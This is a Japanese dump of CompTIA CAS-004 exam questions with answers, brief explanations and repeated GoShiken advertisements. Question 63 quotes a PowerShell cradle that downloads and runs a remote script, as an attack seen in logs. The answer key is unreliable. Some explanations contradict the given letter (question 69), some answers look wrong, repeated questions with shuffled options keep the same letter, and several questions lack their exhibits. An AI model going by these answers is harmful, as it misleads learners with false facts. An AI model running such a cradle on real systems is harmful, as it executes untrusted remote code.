B.アクセスするデータ、データへのアクセス方法、データの種類に関係なく、すべてのサプライ
ヤーを定期的にレビューする監査プログラムを確立します。ベストプラクティス基準に基づいて

すべての設計と運用管理をレビューし、その結果を上層部に報告します。管理。

C.第一線リスク、事業部門、およびベンダー管理のメンバーでチームを設立し、すべてのサプライ
ヤーの設計セキュリティ管理のみを評価します。レビューで得られた結果は、他のすべての事業

部門やリスクチームが参照できるようにデータベースに保存します。

D.データへのアクセス、データの種類、データへのアクセス方法に基づいてサプライヤーを評価
するガバナンスプログラムを確立します。サプライヤーの評価に基づいてレビューおよび管理さ

れる主要な制御を割り当てます。サプライヤーやさまざまなリスクチームに依存している部門を

見つけて報告します。

Answer: A (メーッセージを残す)

最新問題: 51
最近のデータ侵害により、ある企業がストレージ環境全体に顧客データを含む多数のファイルを

保持していることが明らかになりました。これらのファイルは従業員ごとに個別化されており、

顧客のさまざまな注文、問い合わせ、問題を追跡するために使用されます。ファイルは暗号化され

ていないため、誰でもアクセスできます。上級管理チームは、既存のプロセスを中断することな

く、これらの問題に対処したいと考えています。

セキュリティアーキテクトは次のうちどれを推奨しますか?
A.どのプロセスを追跡する必要があるかを特定する ERPプログラム
B.顧客データが含まれるファイルを特定して削除する DLPプログラム
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C.セキュリティベースラインに設定されていないシステムについてレポートする CMDB
D.データを統合し、プロセスとニーズに基づいてアクセスをプロビジョニングするための CRM
アプリケーション

Answer: B (メーッセージを残す)

最新問題: 52
最近、組織の財務システムが攻撃されました。フォレンジックアナリストは、クレジットカード

データの侵害されたファイルの内容を調査しています。

財務データが失われたかどうかを最もよく判断するには、アナリストが次のコマンドのうちどれ

を実行する必要がありますか?

A.オプション D
B.オプション B
C.オプション C
D.オプション A
Answer: C (メーッセージを残す)

最新問題: 53
ある企業は、Webサーバーがライバル企業によって侵入された可能性があると疑っています。セ
キュリティエンジニアはWebサーバーのログを確認し、次のことを発見しました。

セキュリティエンジニアは開発者と一緒にコードを確認し、次の行が実行されたときにログエン

トリが作成されることを確認します。

企業が導入すべき適切なセキュリティ管理は次のうちどれですか?
A.サーバー側の処理を使用して、パス入力の XSS脆弱性を回避します。
B.コマンドインジェクションを防ぐためにシステムコール内の項目を区切ります。
C.ディレクトリのアクセス許可を読み取り専用に制限します。
D. SQLインジェクションを防ぐためにパス変数でクエリをパラメータ化します。
Answer: B (メーッセージを残す)

最新問題: 54
組織の既存のインフラストラクチャには、データセンター間のサイト間 VPNが含まれています。
昨年、高度な攻撃者が VPNコンセントレータのゼロデイ脆弱性を悪用しました。そのため、最高
情報セキュリティ責任者 (CISO)は、VPNソリューションに対して別のゼロデイエクスプロイト
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が使用された場合にサービス損失のリスクを軽減するために、インフラストラクチャの変更を

行っています。

CISOが使用するのに最適な設計は次のうちどれですか?
A.代替ベンダーの VPNコンセントレータの 2番目の冗長層の追加
B.既存のサイト間 VPN接続内で Base64エンコードを使用する
C. VPNサイト全体にセキュリティリソースを分散する
D.各 VPNコンセントレータによる IDSサービスの実装
E.サイトベースのサービスのコンテナベースのアーキテクチャへの移行
Answer: (解答を表示する)
ゼロデイ脅威により VPNコンセントレータがダウンした場合でも、別のベンダーの冗長 VPNコ
ンセントレータを使用すれば、問題を解決できます。

最新問題: 55
ある企業は機密性の高いワークロードをクラウドに移行しており、Webベースのアプリケーショ
ンの高可用性と復元性を確保する必要があります。クラウドアーキテクチャチームには次の要件

が与えられました。

*アプリケーションは常に 70%の容量で実行する必要があります
*アプリケーションは DoSおよび DDoS攻撃に耐える必要があります。
*サービスは自動的に回復する必要があります。
クラウドアーキテクチャチームは次のうちどれを実装する必要がありますか? (3つを選択)。
A.読み取り専用レプリカ
B. BCP
C.自動スケーリング
D.WAF
E. CDN
F.暗号化
G.連続スナップショット
H.含有
Answer: (解答を表示する)
説明

クラウドアーキテクチャチームは、自動スケーリング (C)、WAF (D)、および暗号化 (F)を実装す
る必要があります。自動スケーリング (C)により、アプリケーションは常に 70%の容量で実行さ
れます。WAF (D)は、アプリケーションを DoSおよび DDoS攻撃から保護します。暗号化 (F)
は、データを不正アクセスから保護し、機密性の高いワークロードの安全性を確保します。

最新問題: 56
組織は災害復旧と業務継続を計画しています。

手順

次のシナリオと手順を確認してください。関連する各結果を影響を受けるホストと照合します。
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シナリオ 3を適切なホストに関連付けた後、ホストをクリックして、その結果に対する適切な修
正アクションを選択します。

各結果は複数回使用される場合があります。

シミュレーションの初期状態に戻したい場合は、[すべてリセット]ボタンをクリックしてくださ
い。

Answer:



最新問題: 57
セキュリティコンサルタントは、製造施設で使用されるエネルギーの監視と制御に使用される電

気リレーのネットワークを保護する必要があります。

コンサルタントが推奨を行う前に検討すべきシステムは次のうちどれですか?
A.できる
B. ASIC
C. FPGA
D.スカダ
Answer: D (メーッセージを残す)

最新問題: 58
大手多国籍メーカーのセキュリティアーキテクトは、トラフィックを監視するセキュリティソ

リューションを設計および実装する必要があります。

ソリューションを設計するとき、セキュリティアーキテクトは、OTネットワークに対する攻撃を
防ぐために、次のどの脅威に焦点を当てる必要がありますか?
A.サイズまたは長さが間違っているパケット
B.時間の経過に伴う複数の要請応答
C. DNP3ポートでの非 DNP3通信の使用
D.サポートされていない暗号化アルゴリズムの適用
Answer: B (メーッセージを残す)

最新問題: 59
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ある中小企業は、最初に PSKやその他の資格情報を配布せずに、モバイルデバイスを使用するゲ
ストに暗号化されたWPA3アクセスを提供したいと考えています。ビジネスがこの目的を達成で
きるようになるのは、次の機能のうちどれですか?
A.完全前方秘匿性
B.拡張可能な認証プロトコル
C.エンハンスドオープン
D.同等者同時認証
Answer: D (メーッセージを残す)

最新問題: 60
最近、組織の財務システムが攻撃されました。フォレンジックアナリストは、クレジットカード

データの侵害されたファイルの内容を調査しています。財務データが失われたかどうかを最もよ

く判断するには、アナリストが次のコマンドのうちどれを実行する必要がありますか?

A.オプション A
B.オプション D
C.オプション C
D.オプション B
Answer: C (メーッセージを残す)

最新問題: 61
シミュレーション

あなたは、会社の特権ネットワークからの Nmapスキャン出力を解釈する任務を負ったセキュリ
ティアナリストです。

同社の強化ガイドラインでは次のことが示されています。

デバイスごとに 1つのプライマリサーバーまたはサービスが必要です。
デフォルトのポートのみを使用する必要があります。

安全でないプロトコルは無効にする必要があります。

手順

Nmapの出力を使用して、ネットワーク上のデバイスとその役割、および閉じるべき開いている
ポートを特定します。

Nmapによって検出されたデバイスごとに、次の情報を含むデバイスエントリをデバイス検出リ
ストに追加します。

デバイスのIPアドレス
デバイスのプライマリサーバーまたはサービス (各 IPは 1つのサービス/ポートのみに関連付け
られる必要があることに注意してください)強化ガイドラインに基づいて無効にする必要がある
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プロトコル (準拠するには複数のポートを閉じる必要がある場合があることに注意してください)
強化ガイドライン)シミュレーションの初期状態に戻したい場合は、いつでも [すべてリセット]
ボタンをクリックしてください。



Answer:
10.1.45.65 SFTPサーバーの無効化 8080
10.1.45.66電子メールサーバー 415および 443を無効にする
10.1.45.67 Webサーバー無効化 21、80
10.1.45.68 UTMアプライアンスの無効化 21



有効な CAS-004問題集は GoShiken.com が提供された合格しやすい CAS-004試験問題集！
GoShiken.comが最新の CAS-004試験問題集を提供しています。GoShiken.com CAS-004試
験問題は最新で、解答が正確でございます。最新の GoShiken.com CAS-004問題集をゲットす
る人はこちら: https://www.goshiken.com/CompTIA/CAS-004-mondaishu.html (62030%OFF問

題集溶と正解付きで 30%ｗ特別割引コード: Freepdfdumps)

最新問題: 62
企業の SOCは、特定の脆弱性を利用したアクティブなキャンペーンに関する脅威インテリジェ
ンスを受け取りました。

同社は、この活発なキャンペーンに対して脆弱かどうかを判断したいと考えています。

企業はこの決定を行うために次のどれを使用する必要がありますか?
A.システム侵入テスト
B.脅威ハンティング
C. SIEMツール内のログ分析
D.サイバーキルチェーン
Answer: B (メーッセージを残す)

最新問題: 63
セキュリティアナリストは、外部向けメールサーバーへのログイン試行の失敗数が着実に増加し

ていることに気づきました。ジャンプボックスの 1つを調査しているときに、アナリストはログ
ファイルで次のことを特定しました: powershell EX(New-Object Net.WebClient).DownloadString
('https://content.comptia.org/casp/whois.psl'）;誰が
次のセキュリティ制御のうち、警告を発し、攻撃の次の段階を阻止できたのはどれですか?
A.ウイルス対策と UEBA
B.リバースプロキシとサンドボックス
C. EDRおよびアプリケーション承認済みリスト
D.フォワードプロキシとMFA
Answer: C (メーッセージを残す)
EDRとホワイトリストは、この攻撃から保護する必要があります。

最新問題: 64
セキュリティアーキテクトは、次の提案されている企業ファイアウォールアーキテクチャと構成

を検討しています。
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どちらのファイアウォールもステートフルで、レイヤー 7のフィルタリングとルーティングを提
供します。この会社には次のような要件があります。

Webサーバーは、企業ネットワークから HTTP/S経由ですべての更新を受信する必要がありま
す。

Webサーバーはインターネットとの通信を開始しないでください。
Webサーバーは、事前に承認された企業データベースサーバーにのみ接続する必要があります。
従業員のコンピューティングデバイスは、ポート 80および 443経由でのみWebサービスに接
続する必要があります。

すべての要件を最も安全な方法で確実に満たすために、アーキテクトは次のうちどれを推奨しま

すか? (2つお選びください。)
A. Firewall_Bに次を追加します: 15 PERMIT FROM 192.168.1.0/24 TO 10.0.2.10/32 TCP 80,443
B. Firewall_Aに次を追加します: 15 PERMIT FROM 192.168.1.0/24 TO 0.0.0.0 TCP 80,443
C. Firewall_Aに次を追加します: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0/0 TCP 80,443
D. Firewall_Aに以下を追加します: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0/0 TCP/UDP
0-65535
E. Firewall_Bに次を追加します: 15 PERMIT FROM 10.0.0.0/16 TO 0.0.0.0 TCP/UDP 0-65535
F. Firewall_Bに次を追加します: 15 PERMIT FROM 0.0.0.0/0 TO 10.0.0.0/16 TCP/UDP 0-65535
Answer: C,F (メーッセージを残す)

最新問題: 65
セキュリティアーキテクトは、さまざまな支社を持つ製造組織に勤務しています。アーキテクト

は、トラフィックを削減し、組織の本社所在地にある CAによって発行された失効した証明書の最
新コピーを支社が確実に受信できるようにする方法を探しています。また、ソリューションは CA
での電力要件を最小限にする必要があります。

最良の解決策は次のうちどれですか?
A.各支社に RAを配置します。
B. OCSPを使用するようにクライアントを構成します。
C. GPOを使用して新しい CRLを送信します。
D.ブランチでデルタ CRLを使用します。
Answer: B (メーッセージを残す)

最新問題: 66
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Webアプリケーションで重大度の高い脆弱性が発見され、企業に導入されました。この脆弱性に
より、権限のないユーザーがオープンソースライブラリを利用して特権ユーザーの情報を閲覧で

きる可能性があります。企業はリスクを受け入れたくありませんが、開発者は問題をすぐに解決

できません。

問題が解決されるまでリスクを許容レベルまで軽減するには、次のどれを実装する必要がありま

すか?
A.静的コードアナライザーでコードをスキャンし、特権ユーザーのパスワードを変更し、セキュ
リティトレーニングを提供します。

B. VPNを展開し、公式のオープンソースライブラリリポジトリを構成し、アプリケーションの
脆弱性を完全にレビューします。

C.特権ユーザー名を変更し、OSログを確認し、ハードウェアトークンを展開します。
D. MFAを実装し、アプリケーションログを確認し、WAFを展開します。
Answer: D (メーッセージを残す)

最新問題: 67
最高情報セキュリティ責任者 (CISO)は、内部ホストの脆弱性スキャンから得た以下の情報に基
づいて是正措置計画を策定しています。

この発見に対して文書化するのに最も適切な是正措置は次のうちどれですか?
A.セキュリティオペレーションセンターは、このサーバーに対する攻撃バッファオーバーフ
ローを防ぐカスタム IDSルールを開発する必要があります。
B.システム管理者は依存関係を評価し、必要に応じてアップグレードを実行する必要がありま
す。

C.アプリケーション開発者は、静的コード分析ツールを使用して、アプリケーションコードが
バッファオーバーフローに対して脆弱でないことを確認する必要があります。

D.製品所有者は、WAFの実装能力に関してビジネスへの影響評価を実行する必要があります。
Answer: (解答を表示する)

最新問題: 68
脅威アナリストは HTTPログを調べているときに次の URLに気づきました。

脅威アナリストが認識している攻撃タイプは次のうちどれですか?
A. SQLインジェクション
B. CSRF
C.セッションハイジャック
D. XSS
Answer: D (メーッセージを残す)
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最新問題: 69
世界的な金融会社のセキュリティアナリストは、アーキテクチャのセキュリティを向上させる機

会を特定するために、クラウドベースのシステムの設計を検討していました。このシステムは最

近、仮想マシンのオペレーティングシステム内の脆弱性が悪用された後、データ侵害に巻き込ま

れました。アナリストは、クラウドプロバイダーの制限により、システムが配置されている VPC
が、集中型脆弱性スキャナーを含むセキュリティ VPCとピアリングされていないことを観察し
ました。近い将来にこの状況を防ぐための最善の行動方針は次のうちどれですか?
A.すべての VPCに対して VPCトラフィックミラーリングを有効にし、脅威検出のためにデー
タを集約します。

B.システムを別の大規模な最上位クラウドプロバイダーに移行し、追加の VPCピアリングの柔
軟性を活用します。

C.すべての VPC間のネットワークトラフィックをブリッジする集中型ネットワークゲート
ウェイを実装します。

D.クロスアカウントの信頼を確立し、安全な設定スキャンのために API経由ですべての VPCに
接続します。

Answer: D (メーッセージを残す)
説明

近い将来の同様の状況を防ぐためにセキュリティアナリストが行う最善の行動は、クロスアカウ

ントの信頼を確立し、安全な設定スキャンのために API経由ですべての VPCに接続することで
す (A)。
クロスアカウントの信頼により、安全な設定スキャンを目的として VPCを安全に接続できるよ
うになり、システム内の脆弱性の特定と修復に役立ちます。

最新問題: 70
セキュリティアナリストは、ハッカーがいくつかのキーを発見し、それらが公開Webサイトで公
開されていることに気付きました。セキュリティアナリストは、Webサイトのキーを使用して
データを正常に復号化できます。影響を受けるデータを保護するために、セキュリティアナリス

トが推奨するのは次のうちどれですか?
A.キーエスクロー
B.キーの取り消し
C.ゼロ化
D.暗号化難読化
E.キーローテーション
Answer: D (メーッセージを残す)

最新問題: 71
脆弱性評価エンドポイントは、最新の調査結果のレポートを生成しました。セキュリティアナリ

ストはレポートを確認し、対処する必要がある項目の優先リストを作成する必要があります。ア

ナリストがリストを迅速に作成するには、次のどれを使用する必要がありますか?
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A. CVE日付
B. CVSSスコア
C.ビジネスへの影響度評価
D.楕円形
Answer: (解答を表示する)

最新問題: 72
最近、組織の財務システムが攻撃されました。法医学分析官が、クレジットカードデータの侵害

されたファイルの内容を調査しています。

財務データが失われたかどうかを最もよく判断するには、アナリストが次のコマンドのうちどれ

を実行する必要がありますか?

A.オプション B
B.オプション A
C.オプション C
D.オプション D
Answer: C (メーッセージを残す)

最新問題: 73
サイバーセキュリティアナリストは、潜在的なインシデントが発生していることを示すチケット

を受け取ります。「お問い合わせ」フォームを含むWebサイトによって生成されたログファイル

が大量に存在します。アナリストは、Webサイトのトラフィックの増加が最近のマーケティング
キャンペーンによるものかどうか、また潜在的なインシデントであるかどうかを判断する必要が

あります。アナリストにとって最も役立つのは次のうちどれですか?
A.ログ削減および分析ツールを使用してWebサイトのログファイルを実行する
B.インバウンドネットワーク IPSベンダーからの新しいルールを確認しています
C.公開Webサイトの前にWAFを展開します。
D.「お問い合わせ」フォームで適切な入力検証が設定されていることを確認します。
Answer: (解答を表示する)

最新問題: 74
セキュリティアナリストは、同社のWAFが適切に構成されていないことを発見しました。メイ
ンWebサーバーが侵害され、悪意のあるリクエストの 1つで次のペイロードが見つかりました。
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この脆弱性を軽減するのに最も適したものは次のうちどれですか?
A.入力チェック
B.キャプチャ
C.データのエンコーディング
D.ネットワーク侵入防止
Answer: A (メーッセージを残す)

最新問題: 75
セキュリティアーキテクトは、来月開始される侵入テストの範囲を決める任務を負っています。

アーキテクトは、どのセキュリティ制御が影響を受けるかを定義したいと考えています。参照す

るのに最適な文書は次のうちどれですか?
A.関与規則
B.マスターサービス契約
C.作業明細書
D.対象者
Answer: C (メーッセージを残す)
作業明細書は、侵入テストの範囲を概説し、テストの目的、ツール、方法論、ターゲットを定義する

文書です。また、テストによって影響を受けるセキュリティ管理と、予想される結果についても概

説します。さらに、作業明細書には、侵入テスト中に考慮すべき法的要件やその他の考慮事項を含

める必要があります。

最新問題: 76
セキュリティアナリストは、悪意のあるコードが Linuxシステムにダウンロードされたことを懸
念しています。いくつかの調査を行った後、アナリストは、疑わしいコード部分がディスクドライ

ブ上で大量の入出力 (I/O)を実行していると判断しました。

上記の出力に基づいて、アナリストは次のどのプロセス IDから調査を開始できますか?
A. 83
B. 87
C. 65
D. 77
Answer: A (メーッセージを残す)
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有効な CAS-004問題集は GoShiken.com が提供された合格しやすい CAS-004試験問題集！
GoShiken.comが最新の CAS-004試験問題集を提供しています。GoShiken.com CAS-004試
験問題は最新で、解答が正確でございます。最新の GoShiken.com CAS-004問題集をゲットす
る人はこちら: https://www.goshiken.com/CompTIA/CAS-004-mondaishu.html (62030%OFF問

題集溶と正解付きで 30%ｗ特別割引コード: Freepdfdumps)

最新問題: 77
セキュリティアナリストは、企業のクラウドログ内のネットワークトラフィックを調べている

ときに、次のことを観察しました。

セキュリティアナリストは次のどの手順を最初に実行する必要がありますか?
A. 10.0.50.6のWebログを調査して、これが通常のトラフィックであるかどうかを判断します。
B.セキュリティグループを介して 10.0.50.6を隔離します。
C. 10.0.5.52を隔離し、ホストに対してマルウェアスキャンを実行します。
D. EDR経由で 10.0.5.52にアクセスし、ネットワーク接続のあるプロセスを特定します。
Answer: A (メーッセージを残す)

最新問題: 78
組織の既存のインフラストラクチャには、データセンター間のサイト間 VPNが含まれています。
昨年、高度な攻撃者が VPNコンセントレータのゼロデイ脆弱性を悪用しました。そのため、最高
情報セキュリティ責任者 (CISO)は、VPNソリューションに対して別のゼロデイエクスプロイト
が使用された場合にサービス損失のリスクを軽減するために、インフラストラクチャの変更を

行っています。

CISOが使用するのに最適な設計は次のうちどれですか?
A.代替ベンダーの VPNコンセントレータの 2番目の冗長層の追加
B.既存のサイト間 VPN接続内で Base64エンコードを使用する
C. VPNサイト全体にセキュリティリソースを分散する
D.各 VPNコンセントレータによる IDSサービスの実装
E.サイトベースのサービスのコンテナベースのアーキテクチャへの移行
Answer: (解答を表示する)
説明

ゼロデイ脅威により VPNコンセントレータがダウンした場合でも、別のベンダーの冗長 VPNコ
ンセントレータを使用すれば、問題を解決できます。

最新問題: 79
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組織は新しいオンラインデジタルバンクを導入しており、可用性とパフォーマンスを確保する必

要があります。クラウドベースのアーキテクチャは PaaSおよび SaaSソリューションを使用し
て展開され、次の考慮事項を考慮して設計されました。

-インフラストラクチャおよびWebアプリケーションに対する DoS攻撃からの保護が整備され
ています。

-高可用性の分散 DNSが実装されています。
-静的コンテンツは CDNにキャッシュされます。
- WAFはインラインで展開され、ブロックモードになっています。
-複数のパブリッククラウドがアクティブ/パッシブアーキテクチャで利用されています。
上記の制御を実施しているため、銀行では認証されていない支払いページの速度が低下していま

す。最も考えられる原因は次のうちどれですか?
A.サイトでブルートフォース認証情報攻撃が発生しています。
B.パブリッククラウドプロバイダーは、受信顧客トラフィックに QoSを適用しています。
C. DDoS攻撃は CDNを標的としています。
D. APIゲートウェイエンドポイントが直接ターゲットにされています。
Answer: B (メーッセージを残す)

最新問題: 80
セキュリティコンサルタントは、Active Directoryを持たない小規模オフィスにワイヤレスセ
キュリティを設定する必要があります。中央のアカウント管理が欠如しているにもかかわらず、

オフィスマネージャーは、ワイヤレス認証に対するブルートフォース攻撃を防ぐために高レベル

の防御を確保したいと考えています。

このニーズに最も適したテクノロジーは次のうちどれですか?
A.ファラデーケージ
B.WPA2 PSK
C.WPA3 SAE
D.WEP128ビット
Answer: C (メーッセージを残す)
WPA3 SAEはブルートフォース攻撃を防ぎます。

最新問題: 81
アナリストはインターネットに接続された DNSサーバーに対して脆弱性スキャンを実行し、次
のレポートを受け取ります。

最も重大な脆弱性を検証するために、アナリストは次のツールのうちどれを最初に使用する必要

がありますか?
A.ポートスキャナ
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B.パスワードクラッカー
C.エクスプロイトフレームワーク
D.アカウント列挙子
Answer: B (メーッセージを残す)

最新問題: 82
A社は B社を買収しました。監査中に、セキュリティエンジニアは B社の環境にパッチが適切に
適用されていないことを発見しました。これに応じて、A社は、B社のインフラストラクチャが A
社のセキュリティプログラムに統合されるまで、2つの環境の間にファイアウォールを設置しま
した。

次のリスク処理手法のうちどれが使用されましたか?
A.回避
B.転送
C.受け入れる
D.軽減する
Answer: (解答を表示する)

最新問題: 83
ネットワークアーキテクトは、すべてのローカルサイトを中央ハブサイトに接続するための新

しい SD-WANアーキテクチャを設計しています。その後、ハブはトラフィックをパブリッククラ
ウドおよびデータセンターアプリケーションにリダイレクトする役割を果たします。SD-WAN
ルーターは SaaSを通じて管理され、オフィス内で働くか遠隔地で働くかに関係なく、同じセ
キュリティポリシーがスタッフに適用されます。主な要件は次のとおりです。

1.ネットワークは、99.99%の稼働率を持つコアアプリケーションをサポートします。
2. SD-WANルーターの構成更新は、管理サービスからのみ開始できます。
3. Webサイトからダウンロードしたドキュメントはマルウェアをスキャンする必要があります。
要件を満たすために、ネットワーク設計者は次のソリューションのうちどれを実装する必要があ

りますか?
A.ローカルサイトのリバースプロキシ、ステートフルファイアウォール、および VPN
B.ハブの IPS、レイヤー 4ファイアウォール、および DLP
C. IDS、WAF、およびフォワードプロキシ IDS
D.ハブサイトでの DoS防御、相互証明書認証、クラウドプロキシ
Answer: D (メーッセージを残す)

最新問題: 84
監査人は、保存されている文書をスキャンして機密テキストを見つける必要があります。これら

のドキュメントにはテキストと画像の両方が含まれています。監査人がこれらの文書を完全に読

むことができるようにするには、DLPソリューションで次のソフトウェア機能を有効にする必要
があるのはどれですか? (2つ選択してください)。
A.ドキュメント補間
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B.光学式文字認識機能
C.正規表現パターンマッチング
D.透かし
E.ベースライン画像マッチング
F.高度なラスタライズ
Answer: A,B (メーッセージを残す)

最新問題: 85
セキュリティアーキテクトは、高度に分散されたリモートワークフォースを抱える組織向けに

CASBソリューションを実装する必要があります。実装要件の 1つには、SaaSアプリケーション
を検出し、未承認またはリスクがあると特定されたアプリケーションへのアクセスをブロックす

る機能が含まれます。この目的を最もよく達成できるのは次のうちどれですか?
A.ローカルWebトラフィックを監視するエンドポイントエージェントを展開して、DLPおよび
暗号化ポリシーを適用します。

B.すべてのユーザーWebトラフィックをプロキシするクラウドインフラストラクチャを実装
し、DI-Pおよび暗号化ポリシーを適用します。
C.すべてのユーザーのWebトラフィックをプロキシし、集中ポリシーに従ってアクセスを制御
するクラウドインフラストラクチャを実装します。

D.ローカルWebトラフィックを監視し、一元化されたポリシーに従ってアクセスを制御するエ
ンドポイントエージェントを展開します。

Answer: C (メーッセージを残す)
SaaSアプリケーションを検出し、未承認またはリスクがあると特定されたアプリケーションへ
のアクセスをブロックするという目的を達成するための最良の方法は、すべてのユーザーのWeb
トラフィックをプロキシし、一元化されたポリシーに従ってアクセスを制御するクラウドインフ

ラストラクチャを実装することです (C)。このソリューションにより、セキュリティアーキテクト
はすべてのWebトラフィックを検査し、アクセスコントロールポリシーを一元的に適用できる
ようになります。このソリューションにより、セキュリティアーキテクトは危険な SaaSアプリ
ケーションを検出してブロックすることもできます。

最新問題: 86
市政府の IT責任者は、多額の連邦補助金を獲得するには次のサイバーセキュリティ要件を満たす
必要があると市議会から通知されました。

+監視と脅威ハンティングを可能にするために、すべての重要なデバイスのログを 365日間保持
する必要があります。

+アカウントの侵害を軽減するために、すべての特権ユーザーアクセスを厳密に制御および追跡
する必要があります。

+ランサムウェアの脅威とゼロデイ脆弱性を迅速に特定する必要があります。
これらの要件を最もよく満たすのは次のテクノロジーのうちどれですか? (3つを選択)。
A.エンドポイント保護
B.ログアグリゲータ
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C.ゼロトラストネットワークアクセス
D.パム
E.クラウドサンドボックス
F. SIEM
G. NGFW
Answer: B,D,F (メーッセージを残す)
説明

ログアグリゲーター:ログアグリゲーターは、デバイス、アプリケーション、サーバーなどのさま
ざまなソースからログを収集、解析、保存するツールです。ログアグリゲーターは、集中管理され

たログを提供することで、365日間ログを保持するという要件を満たすのに役立ちます。スケーラ
ブルなストレージソリューション

PAM: PAMは特権アクセス管理の略です。これは、重要なシステムやデータに対する特権ユー
ザー (管理者など)のアクセスを制御および監視するテクノロジーです。PAMは、最小特権、多要
素認証、パスワードローテーション、セッション記録などのポリシーを強制することで、特権ユー

ザーアクセスの制御と追跡の要件を満たすのに役立ちます。

SIEM: SIEMは、セキュリティ情報およびイベント管理の略です。さまざまなソースからのログを
分析および関連付けて、セキュリティインシデントを検出して対応するテクノロジーです。SIEM
は、リアルタイムアラート、脅威インテリジェンスフィード、インシデント対応ワークフローな

どを提供することで、ランサムウェアの脅威とゼロデイ脆弱性を特定するという要件を満たすの

に役立ちます。

最新問題: 87
セキュリティインシデントの後、ネットワークセキュリティエンジニアは、会社の機密性の高い

外部トラフィックの一部が、通常は使用されないセカンダリ ISP経由でリダイレクトされている
ことを発見しました。

単一のプロバイダーに障害が発生した場合でもネットワークを機能させながら、ルートを保護す

るのに最も適したものは次のうちどれですか?
A. BGPを無効にし、内部ネットワークごとに単一の静的ルートを実装します。
B. BGPルートリフレクタを実装します。
C.受信 BGPプレフィックスリストを実装します。
D. BGPを無効にし、OSPFを実装します。
Answer: C (メーッセージを残す)
BGPハイジャックに対する防御には、IPプレフィックスフィルタリング（IPアドレスアナウン
スメントが少数の明確に定義された自律システムからのみ送信および受け入れられることを意味

します）と、異常なトラフィックフローの兆候を特定するためのインターネットトラフィックの

監視が含まれます。

最新問題: 88
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ホームオートメーション会社は、自社が開発したソフトウェアでインシデントの特定と対応を可

能にするために、SOC用のツールを購入してインストールしました。同社は、次の攻撃シナリオ
に対する防御を優先したいと考えています。

アプリケーション開発環境への不正な挿入

許可された内部関係者が環境構成に不正な変更を加えた場合次のアクションのうち、開発環境に

対するこの種の攻撃を検出するために必要なデータフィードが有効になるのはどれですか? (2つ
お選びください。)
A.開発サブネットに IDSをインストールし、脆弱なサービスを受動的に監視します。
B.リポジトリへのコードのコミットを継続的に監視し、概要ログを生成します。
C.コミットされたコードの静的コード分析を実行し、概要レポートを生成します。
D.依存関係管理ツールを監視し、影響を受けやすいサードパーティライブラリについてレポート
します。

E.ユーザーの行動をモデル化し、通常からの逸脱を監視します。
F. XMLゲートウェイを実装し、ポリシー違反を監視します。
Answer: (解答を表示する)

最新問題: 89
ある企業は最近 SaaSプロバイダーを買収しましたが、顧客のエクスペリエンスに影響を与える
ことなく、そのプラットフォームを企業の既存のインフラストラクチャに統合する必要がありま

す。SaaSプロバイダーには成熟したセキュリティプログラムがありません。SaaSプロバイダー
のシステムの最近の脆弱性スキャンにより、非常に古くて時代遅れの Ossに起因すると考えられ
る複数の重大な脆弱性が示されました。これらの脆弱性が企業の既存のインフラストラクチャに

導入されるのを防ぐソリューションは次のどれですか?
A.システムに既存の OSの最新バージョンをパッチします。
B.マルウェア対策をインストールします。各システム上の HIPS、およびホストベースのファイア
ウォール

C.攻撃が発生した場合にシステムをセグメント化して攻撃対象領域を削減します。
D.サポートされ、パッチが適用された OSを備えた新しいシステムにサービスを移行します。
Answer: D (メーッセージを残す)

最新問題: 90
ある会社が新しいビデオカードをリリースしたところです。供給が限られており需要が近いた

め、攻撃者は自動システムを利用して同社のWebストアを通じてデバイスを購入し、二次市場で
再販できるようにしています。同社の対象顧客は不満を感じています。セキュリティエンジニア

は、自動システムを通じて購入するビデオカードの数を減らすために、Webストアに CAPTCHA
システムを実装することを提案しています。リスクのレベルを表すものは次のうちどれですか?
A.軽減されました
B.転送済み
C.残留
D.固有
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低い

Answer: D (メーッセージを残す)

最新問題: 91
セキュリティエンジニアは、開発チームがコード内に機密性の高い環境変数をハードコーディン

グしていると考えています。

会社の CI/CDパイプラインを最も安全に保護できるのは次のうちどれですか?
A.コンテナオーケストレーションの使用の導入
B.インスタンスのタグ付けのデプロイ
C. DASTを毎週実行します。
D.信頼できるシークレットマネージャーの利用
Answer: D (メーッセージを残す)

有効な CAS-004問題集は GoShiken.com が提供された合格しやすい CAS-004試験問題集！
GoShiken.comが最新の CAS-004試験問題集を提供しています。GoShiken.com CAS-004試
験問題は最新で、解答が正確でございます。最新の GoShiken.com CAS-004問題集をゲットす
る人はこちら: https://www.goshiken.com/CompTIA/CAS-004-mondaishu.html (62030%OFF問

題集溶と正解付きで 30%ｗ特別割引コード: Freepdfdumps)

最新問題: 92
大手多国籍メーカーのセキュリティアーキテクトは、トラフィックを監視するセキュリティソ

リューションを設計および実装する必要があります。

ソリューションを設計する際、ネットワークに対する攻撃を防ぐために、セキュリティアーキテ

クトは次のどの脅威に焦点を当てる必要がありますか?
A. DNP3ポートでの非 DNP3通信の使用
B.サポートされていない暗号化アルゴリズムの適用
C.サイズまたは長さが間違っているパケット
D.時間の経過に伴う複数の要請応答
Answer: D (メーッセージを残す)

最新問題: 93
組織には以下の内容を含む契約文書が必要です。

※対象となる内容の概要
*目標と目的
*各当事者のパフォーマンス指標
*すべての当事者による契約の管理方法の見直し
この種の契約文書を最も適切に説明しているのは次のうちどれですか?
A. SLA
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B. BAA
C.秘密保持契約
D. ISA
Answer: (解答を表示する)
サービスレベルアグリーメントは、サービスプロバイダーと顧客の間の契約で、提供されるサー

ビスのレベル、それらのサービスを測定する基準、および両当事者による契約の管理方法の概要

を示します。SLAには、紛争解決および契約の終了に関する規定も含まれています。

最新問題: 94
暗号化ソリューションを利用して使用中のデータを保護すると、データが確実に暗号化されま

す。

A.システムのソリッドステートドライブに書き込まれるとき。
B.処理中のメモリ内
C.ローカルネットワーク経由で渡される場合。
D.エンタープライズハードウェアセキュリティモジュールによる。
Answer: B (メーッセージを残す)

最新問題: 95
監査人は、保存されている文書をスキャンして機密テキストを見つける必要があります。これら

のドキュメントにはテキストと画像の両方が含まれています。

監査人がこれらの文書を完全に読むことができるようにするには、DLPソリューションで次のソ
フトウェア機能を有効にする必要があるのはどれですか? (2つ選択してください)。
A.透かし
B.ベースライン画像マッチング
C.ドキュメント補間
D.光学式文字認識機能
E.高度なラスタライズ
F.正規表現パターンマッチング
Answer: C,D (メーッセージを残す)

最新問題: 96
セキュリティアナリストは、ワークステーションからの代替アウトバウンドWeb接続を追跡し
たいと考えています。アナリストの会社は、発信トラフィックを境界ファイアウォールに転送す

